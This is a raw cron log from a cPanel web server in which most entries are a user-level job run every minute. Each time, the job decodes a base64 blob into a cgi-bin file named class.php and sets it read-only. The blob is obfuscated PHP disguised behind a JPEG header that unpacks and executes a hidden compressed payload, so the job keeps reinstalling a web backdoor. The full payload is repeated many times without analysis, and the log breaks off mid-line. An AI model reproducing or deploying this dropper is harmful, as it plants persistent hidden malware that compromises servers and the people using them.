Apr  7 15:25:01 server CROND[23790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:25:01 server CROND[23791]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:25:01 server CROND[23792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:26:01 server CROND[23897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:27:01 server CROND[23947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:27:01 server CROND[23948]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 15:28:01 server CROND[24011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:29:01 server CROND[24163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:30:01 server CROND[24221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:30:01 server CROND[24222]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:30:01 server CROND[24223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:30:01 server CROND[24224]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 15:31:01 server CROND[24383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:32:01 server CROND[24432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:33:01 server CROND[24498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:34:01 server CROND[24655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:35:01 server CROND[24718]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 15:35:01 server CROND[24719]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 15:35:01 server CROND[24721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:35:01 server CROND[24722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:35:01 server CROND[24720]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:36:01 server CROND[24860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:37:01 server CROND[24928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:38:01 server CROND[24989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0Nv